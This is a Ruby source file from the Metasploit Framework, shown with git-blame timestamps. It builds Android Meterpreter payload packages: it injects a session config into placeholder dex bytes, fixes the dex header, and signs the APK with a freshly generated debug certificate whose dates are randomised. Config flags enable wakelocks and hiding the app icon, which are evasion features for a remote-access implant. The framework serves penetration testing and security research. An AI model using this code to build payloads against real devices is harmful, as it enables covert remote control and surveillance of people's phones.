metasploit-framework/lib/msf/core/payload/android.rb

140 lines
3.9 KiB
Ruby
Raw Normal View History

2013-04-12 17:35:03 +00:00
# -*- coding: binary -*-
require 'msf/core'
2016-09-08 16:31:38 +00:00
require 'msf/core/payload/uuid/options'
require 'msf/core/payload/transport_config'
2016-10-14 17:15:45 +00:00
require 'rex/payloads/meterpreter/config'
2013-04-12 17:35:03 +00:00
2016-09-28 06:50:52 +00:00
module Msf::Payload::Android
2013-04-12 17:35:03 +00:00
2016-09-08 16:31:38 +00:00
include Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options
2013-08-30 21:28:33 +00:00
#
# Fix the dex header checksum and signature
# http://source.android.com/tech/dalvik/dex-format.html
#
def fix_dex_header(dexfile)
dexfile = dexfile.unpack('a8LH40a*')
dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
dexfile[1] = Zlib.adler32(dexfile[2..-1].pack('H40a*'))
dexfile.pack('a8LH40a*')
end
2013-08-30 21:28:33 +00:00
#
# We could compile the .class files with dx here
#
def generate_stage(opts={})
''
end
def generate_default_stage(opts={})
''
2013-08-30 21:28:33 +00:00
end
2013-04-12 17:35:03 +00:00
2013-08-30 21:28:33 +00:00
#
# Used by stagers to construct the payload jar file as a String
#
def generate(opts={})
generate_jar(opts).pack
2013-08-30 21:28:33 +00:00
end
2013-08-30 21:28:33 +00:00
def java_string(str)
[str.length].pack("N") + str
end
def generate_config(opts={})
2016-09-08 16:31:38 +00:00
opts[:uuid] ||= generate_payload_uuid
ds = opts[:datastore] || datastore
2016-09-08 16:31:38 +00:00
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: ds['SessionExpirationTimeout'].to_i,
2016-09-08 16:31:38 +00:00
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
stageless: opts[:stageless] == true
2016-09-08 16:31:38 +00:00
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
2017-10-06 09:48:10 +00:00
flags = 0
flags |= 1 if opts[:stageless]
flags |= 2 if ds['AndroidMeterpreterDebug']
flags |= 4 if ds['AndroidWakelock']
flags |= 8 if ds['AndroidHideAppIcon']
config[0] = flags.chr
config
end
2016-09-28 10:13:20 +00:00
def sign_jar(jar)
2014-03-04 03:54:31 +00:00
x509_name = OpenSSL::X509::Name.parse(
2016-09-28 10:13:20 +00:00
"C=US/O=Android/CN=Android Debug"
)
key = OpenSSL::PKey::RSA.new(2048)
2014-03-04 03:54:31 +00:00
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = x509_name
cert.issuer = x509_name
cert.public_key = key.public_key
# Some time within the last 3 years
cert.not_before = Time.now - rand(3600 * 24 * 365 * 3)
2014-03-04 03:54:31 +00:00
# From http://developer.android.com/tools/publishing/app-signing.html
# """
# A validity period of more than 25 years is recommended.
#
# If you plan to publish your application(s) on Google Play, note
# that a validity period ending after 22 October 2033 is a
2015-04-13 08:21:41 +00:00
# requirement. You cannot upload an application if it is signed
2014-03-04 03:54:31 +00:00
# with a key whose validity expires before that date.
# """
#
# 32-bit Ruby (and 64-bit Ruby on Windows) cannot deal with
# certificate not_after times later than Jan 1st 2038, since long is 32-bit.
# Set not_after to a random time 2~ years before the first bad date.
#
# FIXME: this will break again randomly starting in late 2033, hopefully
# all 32-bit systems will be dead by then...
#
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
cert.not_after = Time.at(0x78045d81 + rand(0x7fffffff - 0x78045d81))
# If this line is left out, signature verification fails on OSX.
2014-11-17 05:29:54 +00:00
cert.sign(key, OpenSSL::Digest::SHA1.new)
2014-11-17 05:42:40 +00:00
2016-09-28 10:13:20 +00:00
jar.sign(key, cert, [cert])
2014-03-04 03:54:31 +00:00
end
2016-09-28 10:13:20 +00:00
def generate_jar(opts={})
config = generate_config(opts)
2016-09-28 10:13:20 +00:00
if opts[:stageless]
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
# Add stageless classname at offset 8000
config += "\x00" * (8000 - config.size)
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
2016-09-28 10:13:20 +00:00
else
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
end
config += "\x00" * (8195 - config.size)
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
2016-09-28 10:13:20 +00:00
jar = Rex::Zip::Jar.new
files = [
[ "AndroidManifest.xml" ],
[ "resources.arsc" ]
]
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
jar.add_file("classes.dex", fix_dex_header(classes))
jar.build_manifest
sign_jar(jar)
jar
end
2013-04-12 17:35:03 +00:00
end